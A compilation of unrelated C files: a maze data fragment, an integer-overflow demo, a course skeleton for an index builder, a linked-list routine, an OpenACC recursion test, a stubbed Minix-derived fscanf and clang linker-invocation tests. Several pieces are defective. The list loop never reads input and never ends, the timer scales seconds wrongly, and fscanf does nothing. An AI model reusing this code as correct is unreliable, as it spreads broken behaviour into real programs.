0x06, 0x03, 0x06, 0x0A, 0x02, 0x0A, 0x0A, 0x0A, 0x02, 0x0A, 0x0A, 0x03, 0x06, 0x0A, 0x02, 0x03,
};
/* end of mazefile */
|
the_stack_data/40835.c | /*
* An example of a variable rolling over.
*/
#include <stdio.h>
int main() {
short a = 32767; // Largest value that can be stored in short
printf("%hd\n", a);
printf("%hd\n", a + 1);
return 0;
}
|
the_stack_data/25139165.c | //-----------------------------------------------------------
//
// SWE2007: Software Experiment II (Fall, 2018)
//
// Skeleton code for PA#1
//
// CSLab, Sungkyunkwan University
//
//-----------------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
void indexBuilder(char* inputFileNm, char* indexFileNm);
void indexPrinter(char* indexFileNm, char* outputFileNm);
int main(int argc, char** argv) {
char *inputFileNm, *indexFileNm, *outputFileNm;
int inputFileNmLen, indexFileNmLen, outputFileNmLen;
int i;
struct timeval start_t, end_t, result_t;
if(argc!=2) {
printf("Usage : %s [bible text file]\n", argv[0]);
return 1;
}
// Calculate input file name length
for(i=0; argv[1][i]!='.'; i++);
inputFileNmLen=i;
inputFileNm = (char *)malloc(sizeof(char)*inputFileNmLen+1);
for(i=0; i<inputFileNmLen; i++)
inputFileNm[i] = argv[1][i];
inputFileNm[i] = '\0';
indexFileNmLen = inputFileNmLen+7;
outputFileNmLen = inputFileNmLen+8;
// index file name
indexFileNm = (char *)malloc(sizeof(char)*indexFileNmLen);
sprintf(indexFileNm, "%s_index", inputFileNm);
// output file name
outputFileNm = (char *)malloc(sizeof(char)*outputFileNmLen);
sprintf(outputFileNm, "%s_output", inputFileNm);
/*************************************
* Index Builder
*************************************/
printf("** Index Builder : Start\t**\n");
gettimeofday(&start_t, NULL);
// call index bulder
indexBuilder(argv[1], indexFileNm);
gettimeofday(&end_t, NULL);
timersub(&end_t, &start_t, &result_t);
printf(" Elapsed Time : %ld(usec)\n",
100000*(result_t.tv_sec)+result_t.tv_usec);
printf("** Index Builder : End\t\t**\n");
printf("\n");
/*************************************
* Index Printer
*************************************/
printf("** Index Printer : Start\t**\n");
indexPrinter(indexFileNm, outputFileNm);
printf("** Index Printer : End\t\t**\n");
return 0;
}
|
the_stack_data/1179351.c | #include<stdlib.h>
#include<stdio.h>
typedef struct LinkedList{
int *val;
struct LinkedList *next;
} list;
list* initialize()
{
int i = 0, *pi = &i;
list *l = NULL, *nl;
while(!feof(stdin)){
nl = malloc(sizeof(list));
nl->val = pi;
nl->next = l;
}
return l;
}
|
the_stack_data/14199278.c | /*
Causing a buffer overflow on the accelerator with recursion in line 15.
OpenACC can not compile endless recursions, therefore this code will not compile as of OpenACC 2.6.
*/
#define C 1024
int counter = 0;
int rekurs(){
for(int i = 0; i<C; i++){
#pragma acc atomic update
counter++;
rekurs();
}
return 0;
}
int main(){
#pragma acc parallel
rekurs();
return 0;
} |
the_stack_data/268669.c | /*
* fscanf.c
* scan formatted input
* credits: minix 3
*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <stdarg.h>
//==================
//#include "loc_incl.h"
#define io_testflag(p,x) ((p)->_flags & (x))
//#ifdef _ANSI
//int _doprnt(const char *format, va_list ap, FILE *stream);
int _doscan (FILE * stream, const char *format, va_list ap);
//char *_i_compute(unsigned long val, int base, char *s, int nrdigits);
//char *_f_print(va_list *ap, int flags, char *s, char c, int precision);
//void __cleanup(void);
//FILE *popen(const char *command, const char *type);
//FILE *fdopen(int fd, const char *mode);
//#ifndef NOFLOAT
//char *_ecvt(long double value, int ndigit, int *decpt, int *sign);
//char *_fcvt(long double value, int ndigit, int *decpt, int *sign);
//#endif /* NOFLOAT */
//#endif
#define FL_LJUST 0x0001 /* left-justify field */
#define FL_SIGN 0x0002 /* sign in signed conversions */
#define FL_SPACE 0x0004 /* space in signed conversions */
#define FL_ALT 0x0008 /* alternate form */
#define FL_ZEROFILL 0x0010 /* fill with zero's */
#define FL_SHORT 0x0020 /* optional h */
#define FL_LONG 0x0040 /* optional l */
#define FL_LONGDOUBLE 0x0080 /* optional L */
#define FL_WIDTHSPEC 0x0100 /* field width is specified */
#define FL_PRECSPEC 0x0200 /* precision is specified */
#define FL_SIGNEDCONV 0x0400 /* may contain a sign */
#define FL_NOASSIGN 0x0800 /* do not assign (in scanf) */
#define FL_NOMORE 0x1000 /* all flags collected */
//===================
#if _EM_WSIZE == _EM_PSIZE
#define set_pointer(flags) /* nothing */
#elif _EM_LSIZE == _EM_PSIZE
#define set_pointer(flags) (flags |= FL_LONG)
#else
#error garbage pointer size
#define set_pointer(flags) /* compilation might continue */
#endif
#define NUMLEN 512
#define NR_CHARS 256
static char Xtable[NR_CHARS];
static char inp_buf[NUMLEN];
/*
* Collect a number of characters which constitite an ordinal number.
* When the type is 'i', the base can be 8, 10, or 16, depending on the
* first 1 or 2 characters. This means that the base must be adjusted
* according to the format of the number. At the end of the function, base
* is then set to 0, so strtol() will get the right argument.
*/
static char *o_collect(
register int c,
register FILE *stream,
char type,
unsigned int width,
int *basep )
{
register char *bufp = inp_buf;
register int base;
switch (type) {
case 'i': /* i means octal, decimal or hexadecimal */
case 'p':
case 'x':
case 'X': base = 16; break;
case 'd':
case 'u': base = 10; break;
case 'o': base = 8; break;
case 'b': base = 2; break;
}
if (c == '-' || c == '+') {
*bufp++ = c;
if (--width)
c = getc(stream);
}
if (width && c == '0' && base == 16) {
*bufp++ = c;
if (--width)
c = getc(stream);
if (c != 'x' && c != 'X') {
if (type == 'i') base = 8;
}
else if (width) {
*bufp++ = c;
if (--width)
c = getc(stream);
}
}
else if (type == 'i') base = 10;
while (width) {
if (((base == 10) && isdigit(c))
|| ((base == 16) && isxdigit(c))
|| ((base == 8) && isdigit(c) && (c < '8'))
|| ((base == 2) && isdigit(c) && (c < '2'))) {
*bufp++ = c;
if (--width)
c = getc(stream);
}
else break;
}
if (width && c != EOF) ungetc(c, stream);
if (type == 'i') base = 0;
*basep = base;
*bufp = '\0';
return bufp - 1;
}
#ifndef NOFLOAT
/* The function f_collect() reads a string that has the format of a
* floating-point number. The function returns as soon as a format-error
* is encountered, leaving the offending character in the input. This means
* that 1.el leaves the 'l' in the input queue. Since all detection of
* format errors is done here, _doscan() doesn't call strtod() when it's
* not necessary, although the use of the width field can cause incomplete
* numbers to be passed to strtod(). (e.g. 1.3e+)
*/
static char *f_collect(
register int c,
register FILE *stream,
register unsigned int width )
{
register char *bufp = inp_buf;
int digit_seen = 0;
if (c == '-' || c == '+') {
*bufp++ = c;
if (--width)
c = getc(stream);
}
while (width && isdigit(c)) {
digit_seen++;
*bufp++ = c;
if (--width)
c = getc(stream);
}
if (width && c == '.') {
*bufp++ = c;
if(--width)
c = getc(stream);
while (width && isdigit(c)) {
digit_seen++;
*bufp++ = c;
if (--width)
c = getc(stream);
}
}
if (!digit_seen) {
if (width && c != EOF) ungetc(c, stream);
return inp_buf - 1;
}
else digit_seen = 0;
if (width && (c == 'e' || c == 'E')) {
*bufp++ = c;
if (--width)
c = getc(stream);
if (width && (c == '+' || c == '-')) {
*bufp++ = c;
if (--width)
c = getc(stream);
}
while (width && isdigit(c)) {
digit_seen++;
*bufp++ = c;
if (--width)
c = getc(stream);
}
if (!digit_seen) {
if (width && c != EOF) ungetc(c,stream);
return inp_buf - 1;
}
}
if (width && c != EOF) ungetc(c, stream);
*bufp = '\0';
return bufp - 1;
}
#endif /* NOFLOAT */
/*
* the routine that does the scanning
*/
int
_doscan (
register FILE *stream,
const char *format,
va_list ap )
{
return -1;
/*
int done = 0; // number of items done
int nrchars = 0; // number of characters read
int conv = 0; // # of conversions
int base; // conversion base
unsigned long val; // an integer value
register char *str; // temporary pointer
char *tmp_string; // ditto
unsigned width = 0; // width of field
int flags; // some flags
int reverse; // reverse the checking in [...]
int kind;
register int ic = EOF; // the input character
#ifndef NOFLOAT
long double ld_val;
#endif
if (!*format) return 0;
while (1) {
if (isspace(*format)) {
while (isspace(*format))
format++; // skip whitespace
ic = getc(stream);
nrchars++;
while (isspace (ic)) {
ic = getc(stream);
nrchars++;
}
if (ic != EOF) ungetc(ic,stream);
nrchars--;
}
if (!*format) break; // end of format
if (*format != '%') {
ic = getc(stream);
nrchars++;
if (ic != *format++) break; // error
continue;
}
format++;
if (*format == '%') {
ic = getc(stream);
nrchars++;
if (ic == '%') {
format++;
continue;
}
else break;
}
flags = 0;
if (*format == '*') {
format++;
flags |= FL_NOASSIGN;
}
if (isdigit (*format)) {
flags |= FL_WIDTHSPEC;
for (width = 0; isdigit (*format);)
width = width * 10 + *format++ - '0';
}
switch (*format) {
case 'h': flags |= FL_SHORT; format++; break;
case 'l': flags |= FL_LONG; format++; break;
case 'L': flags |= FL_LONGDOUBLE; format++; break;
}
kind = *format;
if ((kind != 'c') && (kind != '[') && (kind != 'n')) {
do {
ic = getc(stream);
nrchars++;
} while (isspace(ic));
if (ic == EOF) break; // outer while
} else if (kind != 'n') { // %c or %[
ic = getc(stream);
if (ic == EOF) break; // outer while
nrchars++;
}
switch (kind) {
default:
// not recognized, like %q
return conv || (ic != EOF) ? done : EOF;
break;
case 'n':
if (!(flags & FL_NOASSIGN)) { //silly, though
if (flags & FL_SHORT)
*va_arg(ap, short *) = (short) nrchars;
else if (flags & FL_LONG)
*va_arg(ap, long *) = (long) nrchars;
else
*va_arg(ap, int *) = (int) nrchars;
}
break;
case 'p': //pointer
set_pointer(flags);
//fallthrough
case 'b': // binary
case 'd': // decimal
case 'i': //general integer
case 'o': // octal
case 'u': //unsigned
case 'x': //hexadecimal
case 'X': //ditto
if (!(flags & FL_WIDTHSPEC) || width > NUMLEN)
width = NUMLEN;
if (!width) return done;
str = o_collect(ic, stream, kind, width, &base);
if (str < inp_buf
|| (str == inp_buf
&& (*str == '-'
|| *str == '+'))) return done;
//Although the length of the number is str-inp_buf+1
//we don't add the 1 since we counted it already
nrchars += str - inp_buf;
if (!(flags & FL_NOASSIGN)) {
if (kind == 'd' || kind == 'i')
val = strtol(inp_buf, &tmp_string, base);
else
val = strtoul(inp_buf, &tmp_string, base);
if (flags & FL_LONG)
*va_arg(ap, unsigned long *) = (unsigned long) val;
else if (flags & FL_SHORT)
*va_arg(ap, unsigned short *) = (unsigned short) val;
else
*va_arg(ap, unsigned *) = (unsigned) val;
}
break;
case 'c':
if (!(flags & FL_WIDTHSPEC))
width = 1;
if (!(flags & FL_NOASSIGN))
str = va_arg(ap, char *);
if (!width) return done;
while (width && ic != EOF) {
if (!(flags & FL_NOASSIGN))
*str++ = (char) ic;
if (--width) {
ic = getc(stream);
nrchars++;
}
}
if (width) {
if (ic != EOF) ungetc(ic,stream);
nrchars--;
}
break;
case 's':
if (!(flags & FL_WIDTHSPEC))
width = 0xffff;
if (!(flags & FL_NOASSIGN))
str = va_arg(ap, char *);
if (!width) return done;
while (width && ic != EOF && !isspace(ic)) {
if (!(flags & FL_NOASSIGN))
*str++ = (char) ic;
if (--width) {
ic = getc(stream);
nrchars++;
}
}
//terminate the string
if (!(flags & FL_NOASSIGN))
*str = '\0';
if (width) {
if (ic != EOF) ungetc(ic,stream);
nrchars--;
}
break;
case '[':
if (!(flags & FL_WIDTHSPEC))
width = 0xffff;
if (!width) return done;
if ( *++format == '^' ) {
reverse = 1;
format++;
} else
reverse = 0;
for (str = Xtable; str < &Xtable[NR_CHARS]
; str++)
*str = 0;
if (*format == ']') Xtable[*format++] = 1;
while (*format && *format != ']') {
Xtable[*format++] = 1;
if (*format == '-') {
format++;
if (*format
&& *format != ']'
&& *(format) >= *(format -2)) {
int c;
for( c = *(format -2) + 1
; c <= *format ; c++)
Xtable[c] = 1;
format++;
}
else Xtable['-'] = 1;
}
}
if (!*format) return done;
if (!(Xtable[ic] ^ reverse)) {
//MAT 8/9/96 no match must return character
ungetc(ic, stream);
return done;
}
if (!(flags & FL_NOASSIGN))
str = va_arg(ap, char *);
do {
if (!(flags & FL_NOASSIGN))
*str++ = (char) ic;
if (--width) {
ic = getc(stream);
nrchars++;
}
} while (width && ic != EOF && (Xtable[ic] ^ reverse));
if (width) {
if (ic != EOF) ungetc(ic, stream);
nrchars--;
}
if (!(flags & FL_NOASSIGN)) { //terminate string
*str = '\0';
}
break;
#ifndef NOFLOAT
case 'e':
case 'E':
case 'f':
case 'g':
case 'G':
if (!(flags & FL_WIDTHSPEC) || width > NUMLEN)
width = NUMLEN;
if (!width) return done;
str = f_collect(ic, stream, width);
if (str < inp_buf
|| (str == inp_buf
&& (*str == '-'
|| *str == '+'))) return done;
//Although the length of the number is str-inp_buf+1
//we don't add the 1 since we counted it already
nrchars += str - inp_buf;
if (!(flags & FL_NOASSIGN)) {
ld_val = strtod(inp_buf, &tmp_string);
if (flags & FL_LONGDOUBLE)
*va_arg(ap, long double *) = (long double) ld_val;
else
if (flags & FL_LONG)
*va_arg(ap, double *) = (double) ld_val;
else
*va_arg(ap, float *) = (float) ld_val;
}
break;
#endif
} //end switch
conv++;
if (!(flags & FL_NOASSIGN) && kind != 'n') done++;
format++;
}
return conv || (ic != EOF) ? done : EOF;
*/
}
// #test
// ainda não foi testada
int fscanf (FILE *stream, const char *format, ...)
{
int retval=0;
va_list ap;
va_start(ap, format);
//retval = _doscan (stream, format, ap);
va_end(ap);
return retval;
}
|
the_stack_data/834492.c | // General tests that ld invocations on Linux targets sane. Note that we use
// sysroot to make these tests independent of the host system.
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-LD-32 %s
// CHECK-LD-32-NOT: warning:
// CHECK-LD-32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-LD-32: "{{.*}}/usr/lib/gcc/i386-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-LD-32: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0"
// CHECK-LD-32: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../../../i386-unknown-linux/lib"
// CHECK-LD-32: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../.."
// CHECK-LD-32: "-L[[SYSROOT]]/lib"
// CHECK-LD-32: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-LD-64 %s
// CHECK-LD-64-NOT: warning:
// CHECK-LD-64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-LD-64: "--eh-frame-hdr"
// CHECK-LD-64: "-m" "elf_x86_64"
// CHECK-LD-64: "-dynamic-linker"
// CHECK-LD-64: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-LD-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-LD-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-LD-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-LD-64: "-L[[SYSROOT]]/lib"
// CHECK-LD-64: "-L[[SYSROOT]]/usr/lib"
// CHECK-LD-64: "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed"
// CHECK-LD-64: "-lc"
// CHECK-LD-64: "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux-gnux32 \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-LD-X32 %s
// CHECK-LD-X32-NOT: warning:
// CHECK-LD-X32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-LD-X32: "--eh-frame-hdr"
// CHECK-LD-X32: "-m" "elf32_x86_64"
// CHECK-LD-X32: "-dynamic-linker"
// CHECK-LD-X32: "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed"
// CHECK-LD-X32: "-lc"
// CHECK-LD-X32: "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: --rtlib=compiler-rt \
// RUN: | FileCheck --check-prefix=CHECK-LD-RT %s
// CHECK-LD-RT-NOT: warning:
// CHECK-LD-RT: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-LD-RT: "--eh-frame-hdr"
// CHECK-LD-RT: "-m" "elf_x86_64"
// CHECK-LD-RT: "-dynamic-linker"
// CHECK-LD-RT: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-LD-RT: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-LD-RT: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-LD-RT: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-LD-RT: "-L[[SYSROOT]]/lib"
// CHECK-LD-RT: "-L[[SYSROOT]]/usr/lib"
// CHECK-LD-RT: libclang_rt.builtins-x86_64.a" "-lgcc_s"
// CHECK-LD-RT: "-lc"
// CHECK-LD-RT: libclang_rt.builtins-x86_64.a" "-lgcc_s"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: --rtlib=libgcc \
// RUN: | FileCheck --check-prefix=CHECK-LD-GCC %s
// CHECK-LD-GCC-NOT: warning:
// CHECK-LD-GCC: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-LD-GCC: "--eh-frame-hdr"
// CHECK-LD-GCC: "-m" "elf_x86_64"
// CHECK-LD-GCC: "-dynamic-linker"
// CHECK-LD-GCC: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-LD-GCC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-LD-GCC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-LD-GCC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-LD-GCC: "-L[[SYSROOT]]/lib"
// CHECK-LD-GCC: "-L[[SYSROOT]]/usr/lib"
// CHECK-LD-GCC "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed"
// CHECK-LD-GCC: "-lc"
// CHECK-LD-GCC: "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux \
// RUN: -static-libgcc \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-LD-64-STATIC-LIBGCC %s
// CHECK-LD-64-STATIC-LIBGCC-NOT: warning:
// CHECK-LD-64-STATIC-LIBGCC: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-LD-64-STATIC-LIBGCC: "--eh-frame-hdr"
// CHECK-LD-64-STATIC-LIBGCC: "-m" "elf_x86_64"
// CHECK-LD-64-STATIC-LIBGCC: "-dynamic-linker"
// CHECK-LD-64-STATIC-LIBGCC: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-LD-64-STATIC-LIBGCC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-LD-64-STATIC-LIBGCC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-LD-64-STATIC-LIBGCC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-LD-64-STATIC-LIBGCC: "-L[[SYSROOT]]/lib"
// CHECK-LD-64-STATIC-LIBGCC: "-L[[SYSROOT]]/usr/lib"
// CHECK-LD-64-STATIC-LIBGCC: "-lgcc" "-lgcc_eh"
// CHECK-LD-64-STATIC-LIBGCC: "-lc"
// CHECK-LD-64-STATIC-LIBGCC: "-lgcc" "-lgcc_eh"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux \
// RUN: -static \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-LD-64-STATIC %s
// CHECK-LD-64-STATIC-NOT: warning:
// CHECK-LD-64-STATIC: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-LD-64-STATIC-NOT: "--eh-frame-hdr"
// CHECK-LD-64-STATIC: "-m" "elf_x86_64"
// CHECK-LD-64-STATIC-NOT: "-dynamic-linker"
// CHECK-LD-64-STATIC: "-static"
// CHECK-LD-64-STATIC: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtbeginT.o"
// CHECK-LD-64-STATIC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-LD-64-STATIC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-LD-64-STATIC: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-LD-64-STATIC: "-L[[SYSROOT]]/lib"
// CHECK-LD-64-STATIC: "-L[[SYSROOT]]/usr/lib"
// CHECK-LD-64-STATIC: "--start-group" "-lgcc" "-lgcc_eh" "-lc" "--end-group"
//
// Check that flags can be combined. The -static dominates.
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux \
// RUN: -static-libgcc -static \
// RUN: --sysroot=%S/Inputs/basic_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-LD-64-STATIC %s
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux -m32 \
// RUN: --sysroot=%S/Inputs/multilib_32bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-32-TO-32 %s
// CHECK-32-TO-32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-32-TO-32: "{{.*}}/usr/lib/gcc/i386-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0"
// CHECK-32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../../../i386-unknown-linux/lib/../lib32"
// CHECK-32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../../../lib32"
// CHECK-32-TO-32: "-L[[SYSROOT]]/lib/../lib32"
// CHECK-32-TO-32: "-L[[SYSROOT]]/usr/lib/../lib32"
// CHECK-32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../../../i386-unknown-linux/lib"
// CHECK-32-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../.."
// CHECK-32-TO-32: "-L[[SYSROOT]]/lib"
// CHECK-32-TO-32: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=i386-unknown-linux -m64 \
// RUN: --sysroot=%S/Inputs/multilib_32bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-32-TO-64 %s
// CHECK-32-TO-64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-32-TO-64: "{{.*}}/usr/lib/gcc/i386-unknown-linux/4.6.0/64{{/|\\\\}}crtbegin.o"
// CHECK-32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/64"
// CHECK-32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../../../i386-unknown-linux/lib/../lib64"
// CHECK-32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../../../lib64"
// CHECK-32-TO-64: "-L[[SYSROOT]]/lib/../lib64"
// CHECK-32-TO-64: "-L[[SYSROOT]]/usr/lib/../lib64"
// CHECK-32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0"
// CHECK-32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../../../i386-unknown-linux/lib"
// CHECK-32-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/i386-unknown-linux/4.6.0/../../.."
// CHECK-32-TO-64: "-L[[SYSROOT]]/lib"
// CHECK-32-TO-64: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux -m64 \
// RUN: --sysroot=%S/Inputs/multilib_64bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-64-TO-64 %s
// CHECK-64-TO-64: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-64-TO-64: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0{{/|\\\\}}crtbegin.o"
// CHECK-64-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-64-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib/../lib64"
// CHECK-64-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../lib64"
// CHECK-64-TO-64: "-L[[SYSROOT]]/lib/../lib64"
// CHECK-64-TO-64: "-L[[SYSROOT]]/usr/lib/../lib64"
// CHECK-64-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-64-TO-64: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-64-TO-64: "-L[[SYSROOT]]/lib"
// CHECK-64-TO-64: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux -m32 \
// RUN: --sysroot=%S/Inputs/multilib_64bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-64-TO-32 %s
// CHECK-64-TO-32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-64-TO-32: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0/32{{/|\\\\}}crtbegin.o"
// CHECK-64-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/32"
// CHECK-64-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib/../lib32"
// CHECK-64-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../lib32"
// CHECK-64-TO-32: "-L[[SYSROOT]]/lib/../lib32"
// CHECK-64-TO-32: "-L[[SYSROOT]]/usr/lib/../lib32"
// CHECK-64-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0"
// CHECK-64-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib"
// CHECK-64-TO-32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../.."
// CHECK-64-TO-32: "-L[[SYSROOT]]/lib"
// CHECK-64-TO-32: "-L[[SYSROOT]]/usr/lib"
//
// RUN: %clang -no-canonical-prefixes %s -### -o %t.o 2>&1 \
// RUN: --target=x86_64-unknown-linux-gnux32 \
// RUN: --sysroot=%S/Inputs/multilib_64bit_linux_tree \
// RUN: | FileCheck --check-prefix=CHECK-X32 %s
// CHECK-X32: "{{.*}}ld{{(.exe)?}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-X32: "{{.*}}/usr/lib/gcc/x86_64-unknown-linux/4.6.0/x32{{/|\\\\}}crtbegin.o"
// CHECK-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/x32"
// CHECK-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../x86_64-unknown-linux/lib/../libx32"
// CHECK-X32: "-L[[SYSROOT]]/usr/lib/gcc/x86_64-unknown-linux/4.6.0/../../../../libx32"
// CHECK-X32: "-L[[SYSROOT]]/lib/../libx32"
// CHECK-X32: "-L[[SYSROOT]]/usr/lib/../libx32"
